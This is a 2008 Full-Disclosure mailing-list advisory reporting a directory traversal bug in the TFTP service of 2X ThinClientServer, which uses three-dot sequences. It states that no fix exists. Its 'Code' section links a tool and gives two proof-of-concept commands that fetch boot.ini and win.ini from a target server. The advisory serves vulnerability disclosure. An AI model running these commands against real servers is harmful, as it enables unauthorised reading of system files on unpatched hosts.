[Full-disclosure] Directory traversal in 2X ThinClientServer v5.0_sp1-r3497




#######################################################################

Luigi Auriemma

Application: 2X ThinClientServer
http://www.2x.com/thinclientserver/
Versions: <= v5.0_sp1-r3497
(TFTPd.exe <= 3.2.0.0)
Platforms: Windows
Bug: directory traversal
Exploitation: remote
Date: 29 Mar 2008
Author: Luigi Auriemma
e-mail: aluigi@xxxxxxxxxxxxx
web: aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From the manual:
"2X ThinClientServer allows you to deploy a thin client OS to low-cost
thin client devices and existing PCs, and centrally manage settings and
configure to which terminal servers (Windows or Linux) a user should
log on to."


#######################################################################

======
2) Bug
======


The 2X TFTP Service enabled by default in ThinClientServer is affected
by a directory traversal vulnerability exploitable through the usage of
a sequence of 3 dots (instead of the classical two) for reaching the
various parent directories.


#######################################################################

===========
3) The Code
===========


http://aluigi.org/testz/tftpx.zip

tftpx SERVER .../.../.../.../.../.../boot.ini none
tftpx SERVER ...\...\...\...\...\...\windows\win.ini none


#######################################################################

======
4) Fix
======


No fix


#######################################################################


---
Luigi Auriemma
http://aluigi.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/